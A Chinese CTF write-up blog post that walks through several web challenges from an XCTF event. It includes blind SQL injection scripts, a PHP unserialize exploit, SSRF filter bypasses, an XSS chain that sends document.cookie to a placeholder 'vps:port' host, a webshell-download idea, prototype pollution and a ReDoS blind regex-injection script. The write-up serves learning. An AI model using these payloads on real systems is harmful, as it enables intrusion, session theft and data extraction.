抱歉,您的浏览器无法访问本站

本页面需要浏览器支持(启用)JavaScript


了解详情 >

byc_404's blog

Do not go gentle into that good night

萌新第一次xctf自闭了。
第一次代表X1c打比赛,结果输出贼低,几乎就完整贡献一道题。有几道基本到位了也没做出来,没能分担队友压力…..但是最后队伍拿到第8名挺强的,其他师傅太给力了,中间有段时间还冲到了第四名,只不过大家因为要上课就都睡觉去了hhh。

所以趁着其他战队的wp出来自己先把几道自己当时接触了的题目以及没完整做出来的题目小结下。顺便提醒自己要加紧查漏补缺了。

nweb

这道题基本算是完整做出来了。只是考点有点坑。都知道有注入但是就是难找。
实际上在注册页面有注释提醒type参数110时会不一样。并且之前登陆进去页面中有出题人提示的”注册账户也有等级之分”,所以可以在注册时就将type调为110。登陆进去就可以在search.php进行注入了。
(但是这个区分点就很无语,没啥含金量,偏偏又能难倒一堆人)

进去后一个普通的盲注了。只不过过滤了关键字置为空,可以双写绕过。

import requests

s=requests.session()
url='http://121.37.179.47:1001/regist.php'
url2='http://121.37.179.47:1001/login.php'
url3='http://121.37.179.47:1001/search.php'
flag=''
s.post(url, data={'email': 'byc_409', 'pass': '123', 'repass': '123', 'type': '110'})
for i in range(1,50):
    print(i)
    a=0
    for j in range(32,128):
        s.post(url2, data={'email': 'byc_409', 'pass': '123'})#admin,fl4g,jd,user
        payload = "1' or ascii(substr((selselectect group_concat(flag) frfromom fl4g),"+str(i)+",1))="+str(j)+"#"
        r = s.post(url3, data={'flag': payload})
        if 'no' not in r.text:
            flag+=chr(j)
            print(flag)
            a=1
            break
    if a==0:
        break

注出来只能得到账号密码(md5),加上一个只有一部分的flag。只能继续进后台了。由于之前扫目录得到过admin.html。直接登录,发现是个扫描器sql
由于我前几天才接受的校队考核就是mysql load data infile的知识点,加上跑出来的flag是mysql-rogue-server,马上就能想到使用Mysql-Rogue-Server解决。解决方法很简单就是在服务器跑脚本就完了,但其实原理挺麻烦的。简单解释就是我们利用 load data infile的特性,可以用脚本伪造mysql传输数据包。只要这样就能返回服务器上的任意文件读取。
不过这题python脚本不大行的样子,用php脚本解决问题,读flag.php就得到剩下的flag。

PHP-UAF

这题基本没啥技术难度,主要就是跑脚本了。本来随便测测的,发现禁用系统函数以及一个open_basedir。那就看下目录吧,发现突然多了好多php文件,给师傅看看发现就是上次公益赛easy_thinking的bypass脚本https://github.com/mm0r1/exploits/blob/master/php7-gc-bypass/exploit.php
那就用就完事了。直接copy函数用了后包含一下命令执行即可。
这题郁师傅随手做的,貌似因为搅屎原因刷了十几分钟才出来。
至于为什么会搅屎,随便放一下比赛时读到的别队大佬php命令

easy_trick_gzmtu

这题不想说啥了。就是坑。赛后看看Nu1l的解题脚本后,发现要用
\u\n\i\o\n \s\e\l\e\c\t这种语句。所以它源码应该是直接把参数
time拿进函数date一把梭………..
date

这谁想得到,真的无语。
后面一个反序列化的trick,不想多说了。

好吧,官方wp里发现这题出题人搭在自己服务器上,来复现一波。
注入不说了

import requests
import urllib.parse
import string
import re

let=string.ascii_lowercase+"_.()"
exp=''
payload="1' union select 1,(select group_concat(passwd) from admin),3#"# /eGlhb2xldW5n
for ch in payload:
    if ch in let:
        ch="\\"+ch
    exp+=ch
print(exp)

url='http://eqwerqwrfweryu.mycute.cn/?time='
r=requests.get(url+urllib.parse.quote(exp))
page=re.findall(r'<div class="text-c ">(.*?)</div>',r.text)[0]
print(page)

然后一个ssrf读源码,file协议加localhost直接读。估计跟hgame week2那题一模一样的后端代码。根据提示读到某个重要php

<?php

class trick{
    public $gf;
    public function content_to_file($content){    
        $passwd = $_GET['pass'];
        if(preg_match('/^[a-z]+\.passwd$/m',$passwd)) 
    { 

        if(strpos($passwd,"20200202")){
            echo file_get_contents("/".$content);

        }

         } 
        }
    public function aiisc_to_chr($number){
        if(strlen($number)>2){
        $str = "";
         $number = str_split($number,2);
         foreach ($number as $num ) {
             $str = $str .chr($num);
         }
         return strtolower($str);
        }
        return chr($number);
    }
    public function calc(){
        $gf=$this->gf;
        if(!preg_match('/[a-zA-z0-9]|\&|\^|#|\$|%/', $gf)){
              eval('$content='.$gf.';');
              $content =  $this->aiisc_to_chr($content); 
              return $content;
        }
    }
    public function __destruct(){
        $this->content_to_file($this->calc());

    }

}
unserialize((base64_decode($_GET['code'])));

?>

属实佩服出题人ascii码都能打错。
上面一层换行符绕过password的校验
a.passwd%0a20200202
下面有点像php里的构造技巧可以用取反,也可以使用复杂的字符拼接flag大写ascii码的数字。
exp

<?php

class trick{
    public $gf;
}
/*
$abc="FLAG";
for($i=0;$i<=strlen($abc);$i++){
    echo(ord($abc[$i]));
}*/
#70766571
$o=new trick();
$o->gf='~'.~'70766571';#~\xC8\xCF\xC8\xC9\xC9\xCA\xC8\xCE
echo(base64_encode(serialize($o)));
?>

sqlcheckin

一个变种的万能密码,还居然是个原题。可惜没做过。
语句很清晰

$stmt = $pdo->prepare("SELECT username from users where username='${_POST['username']}' and password='${_POST['password']}'");

这次因为上面那道坑题又查了不少sql注入的资料,中间也学到了一个trick,比如此题payload:

admin
'-0-'   or    '^0^'     
acdvvadva' &'1 #前面随便一个字符串
都可

实际就是利用了mysql里字符的特性。比如万能密码
username='admin'-0-''里mysql会把admin转为数字,因为它跟数字运算了。如果这里0换成1相当于username=-1,属于错误。如果换成username=0则直接返回所有结果。
同理,这个思路可以带到异或。进一步还可以用在某些过滤较多的盲注下,比如过滤了注释符号时的布尔盲注:

payload='-(1=1)-'    布尔值假
payload='-(1=0)-'    布尔值真
...
payload='-(length(database())=12)-'    

hackme

最早做的一道题。其实思路蛮清晰的,但是后来没做了。其实有一部分原因是因为自己最后一步5字命令执行hitcon原题一直没做出来过。迷惑。
开始是审计源码,在profile.php中发现有一个session.serialize_handler序列化处理器不同的问题。所以只要把序列化数据写进session并满足他this->admin=1的条件即可。
这题提供了一个现成的可控参数。所以不需要像原来jarvisoj上做的一道题那样构造一个上传写入session.
进入profile后可以看到源码是hitcon原题,但是前面加了一层过滤
其实就是经典的filtervar+pregmatch
之前曾经整理过ssrf的经典waf:https://www.jianshu.com/p/095f233cc9d5

<?php
   echo "Argument: ".$argv[1]."\n";
   // check if argument is a valid URL
   if(filter_var($argv[1], FILTER_VALIDATE_URL)) {
      // parse URL
      $r = parse_url($argv[1]);
      print_r($r);
      // check if host ends with google.com
      if(preg_match('/google\.com$/', $r['host'])) {
         // get page from URL
         exec('curl -v -s "'.$r['host'].'"', $a);
         print_r($a);
      } else {
         echo "Error: Host not allowed";
      }
   } else {
      echo "Error: Invalid URL";
   }
?>

当时payload是0://evil.com:80;google.com:80
但是此题其实跟bytectf的boringcode更像。幸好自己比赛前几天才复现过。具体细节上就是将host的google改为baidu,加了一层data协议的过滤。以及ssrf方式变为file_get_contents()
注意,原本curl的时候我们是有多解的。但是ssrf换成file_get_contents()请求只有一种普遍的方式就是data://google.com/plain;base64,SSBsb3ZlIFBIUAo=
host后的内容直接以路径绕过。并且作为请求内容输出。
此题过滤了data,与bytectf一致。当时我看到boringcode这题很多战队解决方法是购买域名绕过对host的限制。除此之外还有说用baidu302跳转的,这里显然不行;有说用ftp协议的,我试过也不行。当时还剩下一种解决方法我试了一下发现可以,就是compress.zlib://data:@baidu.com/baidu.com?,echo(scandir('.'));而且直接从路径获取内容比另一种方法简单许多。

所以此题直接使用这一方法就能绕过校验了。
compress.zlib://data:@127.0.0.1/plain;base64,
后面hitcon的内容不多说。我觉得自己虽然orange的脚本用不出来,其他方法说不定可以。比如把里面的命令换成curl vps ip > a.php
写入一句话。

happyvacation

有意思的题目,就是我payload几乎都完成了结果没做出来。泪流满面。
开始第一天发现是个CSP,加上有个文件上传点。直接就猜是xss+cspbypass。结果试了下发现个别参数一堆过滤还有没找到xss的点。第二天才知道有git源码泄露,立马原地复活。
比赛时整理的要点

1.$message可控,绕过preg_match'/coo|<|ja|\&|\\\|>|win/i'后
addslashes后存储起来
然后showmessage()里调用了echo "<body><script> var a = '{$this->info->message}';document.write(a);</script></body>";

2.$answer可控
绕过preg_match "/[^a-zA-Z_\-}>@\]*]/i"跟
/f|sy|and|or|j|sc|in/i
拼接进eval(eval("\$this->".$answer." = false;");)

3.$referer可控
跳转
4.文件上传
禁了['ph', 'ht', 'sh', 'pe', 'j', '=', 'co', '\\', '"', '\'']

这里CSP写的很基本,就是个允许同源脚本,而且开放了unsafe-inline。这种给了文件上传的js就是白给。CSP轻松解决。现在关键是waf。
$message是传打xss的语句的。但是过了一层addslashes后被写入语句,意味着必须要解决宽字符的问题。这里如果是常规方法可以在里面再写一个script内容绕过。可是标签被过滤了。只能考虑其他方法。

$answer应该是要利用的,最终可以实现一个eval语句,但是严格限制我们只能将某个属性置为false。

lib.php可以看见一段关键函数

    function go(){
        if(isset($this->pre) and isset($this->after) and isset($this->location)){
            $dest = $this->pre . $this->location . $this->after;
            header($dest);
        }
        else{
            // Error occured?
            header("Location: index.php");
        }
    }

    function __destruct(){
        if($this->flag){
            if($this->location !== $this->page){
                $this->go();
            }
        }
        ob_end_flush();
    }

一个destruct方法,在flag为true时会调用go,然后,go很奇妙的拼接了三个参数进行header()设计。
那么是否只要我们把header控制为gbk编码,就可以解决前面xss被转义的问题呢?没错。所以这里就是入手点。转而跟进下关键函数。

if($user->url->referer != $user->url->page){
            $user->url->location = $user->url->referer;
        }
        $user->url->flag = True;

首先,传值answer时就会进行flag=1赋值,同时location参数会赋值为我们可控的referer。那么我们的目标变成通过referer控制header。
为此就要解决pre这个拼接的属性。这时我们前面的eval语句就起作用了。如果把this->pre设为false,在拼接时它就会变成空。那么我们的可控参数location直接传进header。
既然如此,payload就可以构造了:

/?answer=user->url->pre&referer=Content-Type:text/html; charset=GBK;abc=

此处随便用abc之类的拼接下后面的this->after属性值.php。
这样我们的index.php终于可以打xss了,可以逃逸单引号。

/index.php?message=%c0%27; alert(1);//

现在想来我比赛时就是这么打的。但是alert(1)没成,我以为是payload问题就没继续做了…….现在想想实在是拉胯,这个payload就没问题啊,估计是我哪里细节有问题啊,应该继续做下去的,草。
然后就是常规问题了,为了解决没有单引号的问题使用string.fromCharCode,这个我也预先想好了这样写payload,居然因为提前放弃没用出来,该打。
然后就可以加载内联脚本了。同样很简单,因为CSP的原因吧src设置成上传文件路径即可。这里我看梅子酒学长的文章介绍的是用.wave文件bypassCSP的。不过之前看过文章介绍过jpeg或者其他文件bypassCSP也是可行的。不过需要设计一下文件头。
所以payload构造下:
上传图片内容

aaaaaaaaaaaaaaa/*bbbbbbbbbbbbbbbbbbb*/='test';window.open('http://vps:port/?'+document.cookie);

index.php构造message

%c0%27; 
var x=document.createElement('script');
x.src='/upload/xxxxx/test.wave'
document.body.appendChild(x);//

最后payload转一下charcode应该就行了。

这里再膜一下星盟跟Nu1L等等战队的师傅们,整了个巨简单的非预期。上面eval覆盖的地方由于前面调用了一个clone,所以相当于是个新的user。这样的话user的属性都可以改。由于源码所有功能都在user类实现的,那就是任意属性都可改。直接把黑名单覆盖成false.然后上传phpgetshell。flag在根目录……
郁师傅最后也跟我说这个思路,我开始还不敢信。结果真能整成非预期。可惜后来被修复了。

不说了,比赛没做出来太遗憾了。有复现环境的话一定去复现。

guessgame

先扔一个源码审完就出的payload

{"user": {"username":"admın888", "__proto__": {"enableReg": True}}}) 

主要是一个js大写的绕过,上次公益CTF做过了。然后是一个调用了merge的原型链污染。也是为了进下面这个if。

if(config.enableReg && noDos(regExp) && flag.match(regExp)){
            //res.end(flag);
            //Stop your wishful thinking and go away!
        }

后面要跑flag,用的是正则盲注。
打扰了,环境一个个卡的一比。我也不知道怎么注,等一手官方wp吧。
看到别队思路了,可以学下。原来noDos这个正则就是要利用的。因为是个正则匹配,而javascript正则的回溯机制会让恶意代码使服务端大量占用服务内存。比如一个/ˆa*a*b$/,用aaaaaaaaaaaaa就可以让其多次回溯,达成js的re(正则)dos攻击。
所以本题目的就是让nodos被我们的可控q卡住,然后前面已经原型链污染达成if的一个真值了,剩下的相当于盲注flag使if第三个值达成真值。

 g3t(((((.*)+)+)+)+)! 
(((((.*)+)+)+)+)Y

类似如此的payload不断fuzz。

3.13:
今天把题目复现了一下,用的出题人的脚本做了做。顺便理解了下reDOS盲注的基本概念。当然要跟出题人点赞,这题算是头一次考察了reDOS的知识点,可惜因为靶机原因不能保证选手们正常解题。如果单独下发容器应该会更稳定。
关于知识点:
说起来其实不难。reDOS首先需要明确的是:使用了js的NFA作为正则引擎。NFA,即非确定有限状态自动机。其实,之前在p牛的pcrewaf这一题目中就已经提及了NFA的特性。它正则匹配时出现的回溯机制将会产生大量危害。对php而言是回溯次数有限导致bypass。对作为服务端的js而言,则是占用大量系统资源。之前曾看到国外大佬写的一个正则,可以让一次js的正则匹配占用高达%99的内存。

回到这一知识点,来看解题的主要正则

^(?=(some regexp here))((.*)*)*salt$

简单解释,只要我们所需要的SECRET(本题是flag)与中间的regexp部分相匹配,整个正则将导致整个匹配过程延时到2秒多的时间。既然如此,只要能通过构造正则表达式来注入,将达到跟sql时间盲注一样的效果,得到进行正则匹配的flag
附上出题人的exp:

import socket
import sys
import time
import random
import string
import requests
import re

# constants
THRESHOLD = 2

# predicates


def length_is(n):
    return ".{" + str(n) + "}$"


def nth_char_is(n, c):
    return ".{" + str(n-1) + "}" + re.escape(c) + ".*$"

# utilities


def redos_if(regexp, salt):
    return "^(?={})((((.*)*)*)*)*{}".format(regexp, salt)


def get_request_duration(payload):
    try:
        _start = time.time()
        requests.post("http://vps:port/verifyFlag", {"q": payload})
        _end = time.time()
        duration = _end - _start
    except:
        duration = -1
        exit(1)
    return duration


def prop_holds(prop, salt):
    return get_request_duration(redos_if(prop, salt)) > THRESHOLD


def generate_salt():
    return ''.join([random.choice(string.ascii_letters) for i in range(10)])


if __name__ == '__main__':
    salt = "!"  # generate_salt()

    # leak length
    upper_bound = 15
    secret_length = 0
    for i in range(0, upper_bound):
        if prop_holds(length_is(i), salt):
            secret_length = i
    print("[+] length: {}".format(secret_length))

    S = "qwdfkjurlasetghnioyzxcvbpmQWDFKJURLASETGHNIOYZXCVBPM1234567890"
    secret = ""
    for i in range(0, secret_length):
        for c in S:
            if prop_holds(nth_char_is(i+1, c), salt):
                secret += c
                print("[*] {}".format(secret))
    print("[+] secret: {}".format(secret))

参考了出题人的参考文章:https://diary.shift-js.info/blind-regular-expression-injection/?tdsourcetag=s_pctim_aiomsg

比赛其他题目主要是队友做的,基本没怎么看。到时候有机会去研究下。
然后就是反思了。现在水平还太菜,赶紧多花点时间学学知识刷刷题。不然再菜的抠脚就丢人了。

评论